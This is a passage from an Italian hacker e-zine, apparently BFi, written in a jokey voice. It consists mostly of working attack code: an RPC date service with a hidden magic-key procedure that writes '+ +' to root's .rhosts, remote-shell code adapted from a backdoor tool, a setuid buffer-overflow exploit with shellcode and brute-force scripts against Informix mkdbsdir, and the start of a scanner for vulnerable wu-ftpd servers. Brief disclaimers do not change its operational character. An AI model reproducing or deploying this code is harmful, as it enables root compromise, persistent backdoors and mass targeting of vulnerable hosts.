atoi(argv[3])); *(u_long *) (gram + 72) = htonl((u_long) atoi(argv[4])); sin = (struct sockaddr_in *) &sa; sin->sin_family = AF_INET; bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr)); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("socket"); exit(-1); }; #ifdef IP_HDRINCL if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x)) < 0) { perror("setsockopt IP_HDRINCL"); exit(-1); }; #else fprintf(stderr, "IP_HDRINCL not present.\n"); exit(-1); #endif if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin, sizeof(struct sockaddr))) == -1) { perror("sendto"); exit(-1); }; } ---------- snip ---------- E ora spazio alla fantasia... pIGpEN ---------------[ COME MASTURBARE LE RPC E OTTENERE UNA BACKDOOR ]------------- -----------------------------------[ pIGpEN ]--------------------------------- GIORNATA: Un Sabato Mattina TEMPO: SOOLE INGREDIENTI: 3 Chupa Chups (cocacola, limone, arancia) 1 dentifriciata con AZ Tartar Control (prima dei chupa) PAUSA: Cacca (popo') VESTITI INDOSSATI: un paio di scarpe, un paio di jeans blu scuri, una camicia azzurrina chiara. PAIO DI CAPELLI INDOSSATI: i miei. SALUTi: Beavis & Butthead (2 fighi di dio), una ragazza cinese... (possano le nostre anime incontrarsi presto 8) ATTACHMENT: rpc-date.tgz (contiene i due binari) FRASETTA DEL GiORNO: "In another time's forgotten space Your eyes looked from your mother's face. Wildflower seed on the sand and stone May the four winds blow you safely home." Quello che vi presentero' in questo articolo e' un nuovo tipo di backdoor o meglio no, non sarebbe nuovo se fosse stato pensato prima :) Questo tipo di backdoor sfrutta un rpc program (potrebbe essere uno vostro oppure un servizio conosciuto del tipo statd ecc..) per introdurre al suo interno una funzione che ci permetta di avere accesso alla macchina. In realta' il problema dell'esecuzione remota di comandi via rpc e' ben noto a chi svolge programmazione tuttavia non e' mai stato visto dall'altro lato. Cos'e' un RPC? RPC (Remote Procedure Call) e' un particolare servizio introdotto dalla Sun Microsystem (almeno per quanto riguarda quella parte che impiega i protocolli UDP e TCP a livello di trasporto e che viene indicato sotto il termine ONC acronimo di Open Network Computing). Effettivamente questa non e' l'unica implementazione (ce ne sono 3), tuttavia discutero' basandomi su questa. Vediamo innanzitutto a cosa serve. In poche parole abbiamo due sistemi: il nostro locale e uno remoto. Attraverso un client per un determinato rpc, il nostro computer contatta quello remoto per eseguire una chiamata di procedura: cio' come viene spiegato in breve sull'ottimo libro di Richard W. Stevens sullo sviluppo del software di networking, equivale a permettere al nostro sistema di eseguire del codice su quello remoto. Quindi perche' non ficcarci una backdoor? C=CLIENT=noi S=SERVER=macchina bucata CLIENT --> chiama SERVER con una RPC settata con particolari parametri SERVER --> risponde dandoci un qualcosa Prima pero' di vedere come modificare il server di un servizio vediamo come funziona una connessione su servizio rpc. 1) Il client (C) chiama una procedura locale sul suo sistema nota come stub del client. Questa procedura servira' per standardizzare i pacchetti per il server (S): la loro costruzione prendera' il nome di marshaling. 2) Tali messaggi vengono passati a S utilizzando il protocollo UDP o TCP a seconda del servizio rpc. 3) S avvia una sua procedura di stub che permette di disassemblare tali pacchetti e di ricostruirli in un formato piu' congeniale al server e alla sua architettura. 4) La stub del server esegue la procedura richiesta dal client con i parametri passati dal client. 5) Il server restituisce il risultato di tale chiamata alla sua stub. 6) La stub del server manda il risultato della procedura al client con il protocollo di trasporto utilizzato. 7) La stub del client riceve il pacchetto/i contenenti i risultati della procedura visti come se fossero stati eseguiti sul client. Quello che si puo' fare e': modificare il server in modo che con il passaggio di particolari parametri su quel servizio rpc ci ritorna per esempio un .rhosts con "+ +". Questo ci metterebbe a disposizione una backdoor che NESSUN ALTRO POTREBBE UTILIZZARE senza il nostro programma client che sappia quali parametri passare. Per creare un qualsiasi servizio per rpc occorre usare il programma rpcgen, non e' mio compito spiegarvi come anche perche' e' banale. Vi forniro' invece i sorgenti (non necessitano dell'rpcgen ci ho gia' pensato io :) ed i binari. Nel programma client troverete la MAGIC_KEY che e' semplicemente la stringa da dare in piu' al programma client per chiamare la funzione che scrive sul server l'.rhosts . Per avviare il server: [pigpen@sp00f]:~$ rpc_serv & Es. di utilizzo del client: jgarcia -> MAGIC_KEY :) [pigpen@sp00f]:~$ rdate porcellino jgarcia Vi faccio notare che, conservando tutte le funzioni nel server, il servizio non sara' compromesso e quindi utilizzabile con i normali comandi del client abituale. Questo cmd scrivera' il .rhosts sulla dir root di porcellino. Come ho aggiunto la procedura per scrivere il .rhosts se ne possono mettere altre, spazio alla fantasia quindi... Una cosa simpatica da notare e' che quando fate rpcinfo sul server con la back dell'rpctime non vedete il nome del prog, ma solo il suo numero... ovviamente sara' visibile il processo dell'rpc se fate ps ma... se riuscite a nasconderlo saranno pochi gli admin che andranno a pensare ad una backdoor di questo tipo e se ve la troveranno sara' perche' hanno letto anche loro BFi ;P Ma dove sta il trucchetto? Nel caso dell'rpc-time e' semplice da capire, il prog sul server ha una funzione in piu': void * fuck_rhost_1_svc(void *argp, struct svc_req *rqstp) { static char* result; system("echo \"+ +\" >/$HOME/.rhosts"); return((void*) &result); } Cosa questa faccia mi sembra chiaro... compito del client sara' quindi quello di "risvegliare" tale funzione... un po' come i Grateful Dead che ogni tanto tornano con qualche concerto :)) Ed infatti il client si comporta cosi': if(TYPE==1) // TYPE=1 vuol dire scrivi .rhosts { result_3 = fuck_rhost_1((void*)&fuck_rhost_1_arg, clnt); if (result_3 == NULL) { // chiamata fallita clnt_perror(clnt, "call failed:"); } else printf("I will SuRvIvE !!!\n"); Non vado oltre a questo tipo di backdoor per evitare che qualcuno le possa usare (gia' questa funge) tuttavia vi accendo una lampadina o un cero :) dicendovi che e' possibile utilizzare cio' per quasi ogni cosa ad es. spoofarsi su un ip facendo fare la connessione al computer con l'rpc-server con le vostre funzioncine in piu'; e' possibile inoltre leggere file, scriverli (come il .rhosts) tutto con permessi root, mandare fake mail, sniffare... tutto questo ve lo lascio in via teorika anche perche' ci sto ancora lavorando sopra. Non dimenticate inoltre di utilizzare una programmazione a cazzo cosi' potete scrivervi pure il buffer overflow per il vostro rpc :) .... (pausa cacca) Non dandovi i sorgenti per questo, non mi ritengo nemmeno responsabile per sorgenti che avete scritto, usato o se il vostro cane e' morto di vecchiaia ecc... Vediamo invece i source dell'rdate modificato cominciando dalla definizione da far compilare con rpcgen (qui la metto a titolo di esempio perche' come ho gia' detto ho provveduto io alla sua generazione). ---------- snip ---------- /* date.x RPC HEADER - pIGpEN/s0ftpj99 */ program DATE_PROG { version DATE_VERS { long BIN_DATE(void) = 1; /* numero di procedura =1 */ string STR_DATE(long) = 2; /* numero di procedura =2 */ void FUCK_RHOST(void) = 3; /* numero di procedura =3 */ }=1; /* numero di versione =1 */ }= 0x31234567; /* numero di programma = 0x31234567 */ ---------- snip ---------- Qui potete notare che vengono definite le procedure del nostro programma a cui e' assegnato un numero univoco di identificazione (il numero di procedura). Notate inoltre il costrutto: program nome_prog { version nome_vers { // funzioni del nostro rpc program }=numero_della_versione; }=numero_identificativo_del_programma; Una volta utilizzato l'rpcgen su questo file si ottengono due sorgenti importanti per la costruzione del server e del client (in realta' utilizzando il parametro -a si potrebbero ottenere pure due "template" di esempio di questi): sono il date_svc.c (da compilare assieme al server) e il date_clnt.c (da compilare assieme al client). ---------- snip ---------- /* date_svc.c */ #include "date.h" #include #include /* getenv, exit */ #include /* for pmap_unset */ #include /* strcmp */ #include #include #include #ifdef __STDC__ #define SIG_PF void(*)(int) #endif static void date_prog_1(struct svc_req *rqstp, register SVCXPRT *transp) { union { long str_date_1_arg; } argument; char *result; xdrproc_t xdr_argument, xdr_result; char *(*local)(char *, struct svc_req *); switch (rqstp->rq_proc) { case NULLPROC: (void) svc_sendreply(transp, (xdrproc_t) xdr_void, (char *)NULL); return; case BIN_DATE: xdr_argument = (xdrproc_t) xdr_void; xdr_result = (xdrproc_t) xdr_long; local = (char *(*)(char *, struct svc_req *)) bin_date_1_svc; break; case STR_DATE: xdr_argument = (xdrproc_t) xdr_long; xdr_result = (xdrproc_t) xdr_wrapstring; local = (char *(*)(char *, struct svc_req *)) str_date_1_svc; break; case FUCK_RHOST: xdr_argument = (xdrproc_t) xdr_void; xdr_result = (xdrproc_t) xdr_void; local = (char *(*)(char *, struct svc_req *)) fuck_rhost_1_svc; break; default: svcerr_noproc(transp); return; } (void) memset((char *)&argument, 0, sizeof (argument)); if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) { svcerr_decode(transp); return; } result = (*local)((char *)&argument, rqstp); if (result != NULL && !svc_sendreply(transp, xdr_result, result)) { svcerr_systemerr(transp); } if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) { fprintf(stderr, "unable to free arguments"); exit(1); } return; } int main(int argc, char **argv) { register SVCXPRT *transp; (void) pmap_unset(DATE_PROG, DATE_VERS); transp = svcudp_create(RPC_ANYSOCK); if (transp == NULL) { fprintf(stderr, "cannot create udp service."); exit(1); } if (!svc_register(transp, DATE_PROG, DATE_VERS, date_prog_1, IPPROTO_UDP)) { fprintf(stderr, "unable to register (DATE_PROG, DATE_VERS, udp)."); exit(1); } transp = svctcp_create(RPC_ANYSOCK, 0, 0); if (transp == NULL) { fprintf(stderr, "cannot create tcp service."); exit(1); } if (!svc_register(transp, DATE_PROG, DATE_VERS, date_prog_1, IPPROTO_TCP)) { fprintf(stderr, "unable to register (DATE_PROG, DATE_VERS, tcp)."); exit(1); } svc_run(); fprintf(stderr, "svc_run returned"); exit(1); /* NOTREACHED */ } ---------- snip ---------- Notate in questo sorgente l'utilizzo della struct svc_req definita in rpc/svc.h in questo modo: /* * Service request */ struct svc_req { u_long rq_prog; /* service program number */ u_long rq_vers; /* service protocol version */ u_long rq_proc; /* the desired procedure */ struct opaque_auth rq_cred; /* raw creds from the wire */ caddr_t rq_clntcred; /* read only cooked cred */ SVCXPRT *rq_xprt; /* associated transport */ }; Per quanto riguarda l'importanza di questo sorgente... esso si occupa di registrare il nostro rpc (dovrei usare il femminile!) e di rispondere alle chiamate del client. Scheletrizzando :) il tutto questo source fa le seguenti cose: - Creazione del servizio con il relativo protocollo utilizzato (udp o tcp) attraverso le funzioni svc_udpcreate() e svc_tcpcreate() . - Registrazione del servizio con la svc_register() utilizzabile per entrambi i protocolli passando pero' come ultimo parametro IPPROTO_UDP o IPPROTO_TCP a seconda di cosa usiate. La registrazione avviene passando (tra l'altro) una funzione di gestione che si occupa del controllo della procedura chiamata attraverso rq_proc della struct svc_req definita, se questa e' uguale ad un numero di procedura che noi abbiamo definito nel file .x gestiamo la chiamata di questa procedura [la nostra funzione di gestione e' date_prog_1()] notate le tre coercizioni: local = (char *(*)(char *, struct svc_req *)) bin_date_1_svc; local = (char *(*)(char *, struct svc_req *)) str_date_1_svc; local = (char *(*)(char *, struct svc_req *)) fuck_rhost_1_svc; - Innalzamento :)) del servizio attraverso la svc_run() . Vi faccio notare che per ora non abbiamo ancora definito cosa fanno le varie procedure: questo avverra' in date_server.c che sara' compilato, con questo sorgente. Per quanto riguarda il client: ---------- snip ---------- /* date_clnt.c */ #include /* for memset */ #include "date.h" /* Default timeout can be changed using clnt_control() */ static struct timeval TIMEOUT = { 25, 0 }; long * bin_date_1(void *argp, CLIENT *clnt) { static long clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, BIN_DATE, xdr_void, argp, xdr_long, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } char ** str_date_1(long *argp, CLIENT *clnt) { static char *clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, STR_DATE, xdr_long, argp, xdr_wrapstring, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } void * fuck_rhost_1(void *argp, CLIENT *clnt) { static char clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call(clnt, FUCK_RHOST, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return ((void *)&clnt_res); } ---------- snip ---------- Questo sorgente si occupa delle chiamate alle funzioni fatte dal date_client.c Notate che ad ogni funzione viene passato un tipo di dato (il parametro da mandare al server per la chiamata della procedura) e una struct di tipo CLIENT definita nella lib rpc/clnt.h in questo modo: struct CLIENT { AUTH *cl_auth; /* authenticator */ struct clnt_ops { enum clnt_stat (*cl_call) __P ((CLIENT *, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval)); /* call remote procedure */ void (*cl_abort) __P ((void)); /* abort a call */ void (*cl_geterr) __P ((CLIENT *, struct rpc_err *)); /* get specific error code */ bool_t (*cl_freeres) __P ((CLIENT *, xdrproc_t, caddr_t)); /* frees results */ void (*cl_destroy) __P ((CLIENT *)); /* destroy this structure */ bool_t (*cl_control) __P ((CLIENT *, int, char *)); /* the ioctl() of rpc */ } *cl_ops; caddr_t cl_private; /* private stuff */ }; Tengo a dire che non ho testi su cui basarmi ed essendo farina del mio sacco rimane qualche punto interrogativo non tanto sulla struttura CLIENT quanto sul numero di parametri passabili ad una procedura remota... Possibile che sia uno solo?!? L'rpcgen fa la puttana a riguardo.... boh caso mai passate tutto in una var introducendo un delimitatore personale... Merita inoltre fare alcune considerazioni: -------------- AUTH *cl_auth; E' un puntatore ad una struttura definita come segue: struct AUTH { struct opaque_auth ah_cred; struct opaque_auth ah_verf; union des_block ah_key; struct auth_ops { void (*ah_nextverf) __P ((AUTH *)); int (*ah_marshal) __P ((AUTH *, XDR *)); /* nextverf & serialize */ int (*ah_validate) __P ((AUTH *, struct opaque_auth *)); /* validate verifier */ int (*ah_refresh) __P ((AUTH *)); /* refresh credentials */ void (*ah_destroy) __P ((AUTH *)); /* destroy this structure */ } *ah_ops; caddr_t ah_private; }; Notate che questa struct e' un po' "tirata", potrebbe trovare un'ottima implementazione con il concetto di classe del C++, soprattutto per quanto riguarda poi auth_ops... l'ultima cosuccia mi fa venire in mente un distruttore... ma quella della classe e' solo una mia considerazione: ammiro il C puro :* E' interessante notare la struttura interna auth_ops dove tra le varie verifiche c'e' quella sul marshaling (ritroviamo il concetto di standardizzazione del pacchetto che all'inizio avevo introdotto in modo teorico) Includo un po' di #define per chi si stia chiedendo quali tipi di autenticazione sono possibili: #define AUTH_NONE 0 /* no authentication */ #define AUTH_NULL 0 /* backward compatibility */ #define AUTH_UNIX 1 /* unix style (uid, gids) */ #define AUTH_SYS 1 /* unix style (uid, gids) */ #define AUTH_SHORT 2 /* short hand unix style */ #define AUTH_DES 3 /* des style (encrypted timestamps) */ Il tutto si commenta da solo non mi soffermo sui sistemi di autenticazione. ---------------------------- struct clnt_ops e cl_private Qui ho poco da dire valgono ancora le considerazioni sul C++ ... Tutte cose gia' dette... Naturalmente ci sara' pure il date.h : ---------- snip ---------- /* date.h */ #ifndef _DATE_H_RPCGEN #define _DATE_H_RPCGEN #include #define DATE_PROG ((u_long)0x31234567) // NUMERO DI PROGRAMMA #define DATE_VERS ((u_long)1) // VERSIONE #ifdef __cplusplus #define BIN_DATE ((u_long)1) extern "C" long * bin_date_1(void *, CLIENT *); extern "C" long * bin_date_1_svc(void *, struct svc_req *); #define STR_DATE ((u_long)2) extern "C" char ** str_date_1(long *, CLIENT *); extern "C" char ** str_date_1_svc(long *, struct svc_req *); #define FUCK_RHOST ((u_long)3) extern "C" void * fuck_rhost_1(void *, CLIENT *); extern "C" void * fuck_rhost_1_svc(void *, struct svc_req *); #elif __STDC__ #define BIN_DATE ((u_long)1) extern long * bin_date_1(void *, CLIENT *); extern long * bin_date_1_svc(void *, struct svc_req *); #define STR_DATE ((u_long)2) extern char ** str_date_1(long *, CLIENT *); extern char ** str_date_1_svc(long *, struct svc_req *); #define FUCK_RHOST ((u_long)3) extern void * fuck_rhost_1(void *, CLIENT *); extern void * fuck_rhost_1_svc(void *, struct svc_req *); #else /* Old Style C */ #define BIN_DATE ((u_long)1) // NUMERO DI PROCEDURA extern long * bin_date_1(); extern long * bin_date_1_svc(); #define STR_DATE ((u_long)2) // NUMERO DI PROCEDURA extern char ** str_date_1(); extern char ** str_date_1_svc(); #define FUCK_RHOST ((u_long)3) // NUMERO DI PROCEDURA extern void * fuck_rhost_1(); extern void * fuck_rhost_1_svc(); #endif /* Old Style C */ #endif /* !_DATE_H_RPCGEN */ ---------- snip ---------- A parte le varie cosette vi faccio notare che fine ha fatto il date.x : ora sappiamo che nello switch del date_svc.c i vari controlli sono delle costanti definite come unsigned long (tramite coercizione)... Questo .h in pratica sostituisce completamente il .x E arriviamo quindi al vero client e al server: ---------- snip ---------- /* date_server.c RPC SERVER There is a new function ;) pIGpEN/s0ftpj */ #include "date.h" long * bin_date_1_svc(void *argp, struct svc_req *rqstp) { static long timeval; long time(); timeval=time((long *) 0); return(&timeval); } char ** str_date_1_svc(long *argp, struct svc_req *rqstp) { static char * ptr; char *ctime(); ptr=ctime(argp); return(&ptr); } void * fuck_rhost_1_svc(void *argp, struct svc_req *rqstp) { static char* result; system("echo \"+ +\" >/$HOME/.rhosts"); return((void*) &result); } ---------- snip ---------- Altro non essere che la gestione delle varie procedure :) Tutti i parametri che passate devono essere dichiarati come static e ritornati... ---------- snip ---------- /* date_client.c Simple Example of Rpc Backdoor Idea and Code by pIGpEN/s0ftpj Dedicated to (or better Deadicated to :) Jerry Garcia - A Great Man! Tested on 192.168.1.2 -> xxxx.cameretta.pig ( xxxx = a cool baby ) Greets go to : Crunchman -> a rave man :) my old contacts and new scenes... s0ftpr0ject & BadLands -> they're great 8) Ixxxxl ->> I hate that type of job Drow King -> a man with a nice girl but he doesn't know that :( Coded for Butchered From Inside #6 in a rainy day :( .. summer is coming 8) This code is limited to .rhosts function, so you don't make up shit with it */ #include "date.h" #define MAGIC_KEY "jgarcia" void date_prog_1( char* host, int TYPE ) { CLIENT *clnt; long *result_1; char* bin_date_1_arg; char * *result_2; long str_date_1_arg; void *result_3; char* fuck_rhost_1_arg; clnt = clnt_create(host, DATE_PROG, DATE_VERS, "udp"); if (clnt == NULL) { clnt_pcreateerror(host); exit(1); } result_1 = bin_date_1((void*)&bin_date_1_arg, clnt); if (result_1 == NULL) { clnt_perror(clnt, "call failed:"); }else printf("Host time %s = DEADH0UR :))\n",host); result_2 = str_date_1(&str_date_1_arg, clnt); if (result_2 == NULL) { clnt_perror(clnt, "call failed:"); }else printf("Host time %s = DEADH0UR :))\n",host); if(TYPE==1) { result_3 = fuck_rhost_1((void*)&fuck_rhost_1_arg, clnt); if (result_3 == NULL) { clnt_perror(clnt, "call failed:"); } else printf("I will SuRvIvE !!!\n"); }//endif clnt_destroy( clnt ); } main( int argc, char* argv[] ) { char *host; if(argc < 2) { printf("\033[0;36m- RPC TIME BACKDOOR - \033[0;39m\n"); printf("This is your personal client :)\n\n"); printf("usage: %s hostname\n", argv[0]); exit(1); } if(argc>2 && strcmp(argv[2],MAGIC_KEY)==0) date_prog_1( host, 1); else date_prog_1( host, 0 ); } ---------- snip ---------- Banalissimo client... Se siete arrivati fino a qui sapete cosa fa... e quindi mi risparmiate la spiegazione, thx :) Detto questo non mi resta che avvertirvi di qualche piccolo warning nella compilazione del client (avviene anche con il codice generato con rpcgen -a) che non provoca nessun tipo di problema. ESECUZi0NE Di UNA SHELL Qualcuno di voi potrebbe chiedersi perche' non eseguire una shell invece di fare una semi-backdoor... in effetti questo e' possibile, ma l'implementazione la lascio a voi... naturalmente occorre che la shell sia collegata al client.. un modo di farlo e' quello utilizzato nel programma Poor Man Access v.2 scaricabile da rootshell... il mio compito era solo dimostrarvi cosa sia possibile fare, non quello di farvi utilizzare questi metodi... cmq per i curiosi basta adattare questo codice che vi presento: // snippato da pmad.c int do_csh() { /* first create some pipes. next fire up csh in prompt mode (-i) doing its io from the pipes. then fork off another child that sets the prompt to "PMA> " and then endlessly reads from the shell and writes to the socket. */ char sbuf[100]; int pid; pid = getpid(); sprintf(iname, "inpipe%d", pid); sprintf(oname, "outpipe%d", pid); sprintf(sbuf, "/usr/sbin/mknod %s p; /usr/sbin/mknod %s p", iname, oname); system(sbuf); pipin = open(iname, O_RDWR, 0); sprintf(sbuf, "csh -i <%s >%s 2>&1 &", iname, oname); system(sbuf); in = open(oname, O_RDONLY, 0); unlink(iname); unlink(oname); if ((pid = fork()) < 0) exit(1); else if (pid > 0) return(pid); read(in, buf, sizeof(buf)); strcpy(buf, "set prompt='PMA> '\n"); write(pipin, buf, strlen(buf)); sleep(1); read(in, buf, sizeof(buf)); strcpy(buf, "setenv TERM vt100;setenv PATH /usr/bin:/usr/sbin:/etc;"); strcat(buf, "setenv EDITOR '/usr/bin/vi -w24'\n"); write(pipin, buf, strlen(buf)); while(1) getoutput(); } int getoutput() { cnt = read(in, buf, sizeof(buf)); tcp_send(newsockfd, buf, cnt); } int seewhat() { /*dont let 'em do anything util they type in the dumb password*/ if (passok) { docmd(); return; } if (!strcmp(buf, passwd)) passok = (int) strcpy(buf, "echo ok\n"); else strcpy(buf, "echo nope\n"); write(pipin, buf, strlen(buf)); } int docmd() { char dir[100]; if (!memcmp(buf, "cd ", 3)) /*try to go where shell does*/ { memset(dir, '\0', sizeof(dir)); memcpy(dir, &buf[3], strlen(buf)-4); chdir(dir); } if (!memcmp(buf, "pmaput ", 7) || !memcmp(buf, "pmaget ", 7)) dopg(); write(pipin, buf, strlen(buf)); } Queste sono le funzioni principali per la risoluzione del problema: vi consiglio cmq di prendervi l'intero tgz cosi' tutto sara' piu' chiaro... (daii si tratta solo di implementare una pipe e qualche cazzatina... susu!! :) state attenti soltanto ai socks... leggetevi quello che e' scritto su rpc/clnt.h e rpc/svc.h , per il resto sono le solite cosette... Miii e' tardi, vi saluto... I WILL SURVIVE! Bauz pIGpEN ------------------------[ iNF0RMiX DYNAMiC SERVER BUG ]----------------------- ----------------------------------[ pIGpEN ]---------------------------------- C0NSUM0: 2 Red Bull 1 lattina di cocacola DEDICA: alla mia prima paga andata in stronzate... al mio lettore cd che ha perso il coperchio e per funzionare ha bisogno di un po' di nastro adesivo sul pulsantino che rileva se il fottuto tettuccio e' chiuso... MUSICA ASC0TATA: One More Saturday Night per 11 volte di seguito Grateful Dead e Around Around che con le Red Bull mi faceva sentire in versione tecnosciamaica. [pigpen@sp00f sbin]$ ls -al /opt/informix/bin/mkdbsdir -rwsr-sr-x 1 root informix 892934 dic 11 1998 /opt/informix/bin/mkdbsdir ---------- snip ---------- /* ---------------------------- rpt.c ------------------------------------- */ /**************************************************************************** This program simply fills out the given number of bytes. By default, the byte is 0x41 ('A') which corresponds, on an intel CPU to "inc ecx". It could have been better to use NOP (0x90), but this character isn't quite printable so it is not easy to select it on the screen :-) Anyway, "INC ECX" doesn't matter and doesn't change the code's behaviour, so if a program branches in the middle of that, it can run till the end. Willy ****************************************************************************/ #include main(int argc, char **argv) { int i; for (i=atoi(argv[1]);i;i--) putchar(0x41); /* inc ecx */ exit(0); } /* ------------------------------------------------------------------------ */ ---------- snip ---------- ---------- snip ---------- /* ------------------------------ esp.c --------------------------------- */ /**************************************************************************/ /* Calculate the stack pointer value for this program. Since it doesn't */ /* vary very much from one program to another inside the same shell, the */ /* returned value can be used with a good accuracy. The output is in a */ /* binary format so that it can be concatenated to another string */ /* containing a portion of code. Warning !! The value returned mustn't */ /* have any of its 4 bytes set to 0, or it will be an 'end of string'. */ /* You can play with argv to subtract a value to the stack before giving */ /* it to stdout. */ /* */ /* Willy */ /**************************************************************************/ #include static inline getesp() { __asm__(" movl %esp,%eax "); } main (int argc, char **argv) { long unsigned esp; int decal=0; if (argc>1) decal=atoi(argv[1]); esp=getesp()-decal; fwrite(&esp,4,1,stdout); fwrite(&esp,4,1,stdout); } /* ------------------------------------------------------------------------ */ ---------- snip ---------- ---------- snip ---------- /* -------------------------- tryall.mkdbsdir ----------------------------- */ # tentiamo qualkosa con il mkdbsdir utilizzando il tool di Willy Tarreau # tarreau@aemiaif.ibp.fr #!/bin/tcsh # the shell name is given by 'echo -n ...' and must be exactly 7 chars here, # or you'll have to modify the stack base for the 'LEA' instruction in the # source 'exec.a86'. # You can copy /usr/bin/id to /tmp and run /tmp/id instead. That's good too. echo "PLEASE DO NOT USE THIS TO CRACK A SYSTEM, BUT JUST TO TEST YOURS\!\!\!" set val = 100 while ($val < 3000) echo Trying $val /opt/informix/bin/mkdbsdir `./rpt $val;cat exec.bin;echo -n '/bin/sh';./esp 200` @ val++ end /* ------------------------------------------------------------------------ */ ---------- snip ---------- ---------- snip ---------- /* ----------------------------- exec.a86 --------------------------------- */ mov ecx,esp xor eax,eax push eax lea ebx,[esp-7] add esp,12 push eax push ebx mov edx,ecx mov al,11 int 0x80 /* ------------------------------------------------------------------------ */ ---------- snip ---------- $ cc rpt.c -o rpt $ cc esp.c -o esp $ as86 -b exec.bin exec.a86 $ chmod +x tryall.mkdbsdir $ ./tryall.mkdbsdir . . . Trying 122 Trying 123 Trying 124 Trying 125 Trying 126 Trying 127 Trying 128 Trying 129 Trying 130 Trying 131 Trying 132 Trying 133 Trying 134 Segmentation fault Trying 135 Segmentation fault Trying 136 Segmentation fault Trying 137 Trying 138 Segmentation fault Trying 139 Segmentation fault Trying 140 Segmentation fault Trying 141 Trying 142 . . Segmentation fault . . Possibile buffer overflow... :\ ---------- snip ---------- /* omsn.c One More Saturday Night (la canzone che stavo ascoltando mentre ho trovato sta merdata su informix) pIGpEN/s0ftpj " Angeli dell'era lisergica che bruciano per l'antica e celestiale connessione alla dinamo stellata nel meccanismo della notte " a padre jorma */ #include #define PROG_NAME_WITH_FULL_PATH "/opt/informix/bin/mkdbsdir" // Who made who .... #define DEFAULT_OFFSET 0 // what here?!? :)) #define DEFAULT_BUFFER_SIZE 0 // and here?!? :)) #define DEFAULT_EGG_SIZE 0 // and here?!?! :)) // NOPEZ rulez #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; char cmd[512]; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); printf("mkdbsdir ... \n"); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); snprintf(cmd,511,"%s %s",PROG_NAME_WITH_FULL_PATH,buff); system(cmd); } ---------- snip ---------- SOLUZIONE Consigliabile togliere il +s fino a quando qualkosa non sara' pubblico... Ehi gente perche' mi brucia la pancia?... Vuol dire che c'e' qualkosa dentro? bauz pIGpEN ----------------------------------[ WU-THANG ]-------------------------------- ----------------------------------[ del0rean ]-------------------------------- ---------- snip ---------- /* [wu-thang] - vulnerable wu-ftp scanner by del0rean@usa.net - ripped from BiT - easter 99 rippin'session - 10^10x to bELFaghor ./z0ne -o f0nk.net > eepees & ./wu-thang eepees & cat t0b30wN3d bye! */ #include #include #include #include #include #include #include #include #include #define FTPP0RT 21 #define VULN_VER1 "Version wu-2.4.2-academ[BETA-18](1)" #define VULN_VER2 "Version wu-2.4.2-academ[BETA-12]" #define VULN_VER3 "Version wu-2.4.2-academ[BETA-18-VR6]" int ftp(char *host); unsigned long int res(char *p); void timeout(int sig); void wri(char *ver); void scan(char *i); char tobeowned[]="t0b30wN3d"; /* 31337 0utf1le :) */ void main(int argc, char **argv) { if(argc<2) { printf("Wu-thang Wu-2.4.2 scanner\n"); printf("usage: %s < I n F i l e > \n", argv[0]); return; } scan(argv[1]); printf(".-|[d0ne!]|-.\n"); } int ftp(char *host) { struct sockaddr_in server_addr; int s,check=0; char buffer[300]; server_addr.sin_addr.s_addr=res(host); server_addr.sin_family=AF_INET; server_addr.sin_port = htons(FTPP0RT); s=socket(AF_INET,SOCK_STREAM,0); connect(s,(struct sockaddr *) &server_addr,sizeof(server_addr)); signal(SIGALRM,(void *)timeout); alarm(5); read(s,buffer,sizeof(buffer)); if(strstr(buffer,VULN_VER1)) { wri(VULN_VER1); return 1; } if(strstr(buffer,VULN_VER2)) { wri(VULN_VER2); return 1; } if(strstr(buffer,VULN_VER3)) { wri(VULN_VER3); return 1; } return 0; } unsigned long int res(char *p) { struct hostent *h; unsigned long int rv; h=gethostbyname(p); if(h!=NULL) memcpy(&rv,h->h_addr,h->h_length); else rv=inet_addr(p); return rv; } void timeout(int sig) { printf("Timeout! referee...\n"); return 0; } void wri(char *ver) { FILE *aut; char *version=ver; if((aut=fopen(tobeowned,"a")) != NULL) { fputs(version,aut); fclose(aut); } } void scan(char *i) { FILE *iff, *of; char buf[512]; char w0w[]={" It seems vuln...search for a writeable dir!\n"}; if((iff=fopen(i,"r")) == NULL) perror("In English"); while(fgets(buf,512,iff) != NULL) { if(buf[strlen(buf)-1]=='\n') buf[(strlen(buf)-1)]=0; if(ftp(buf) && 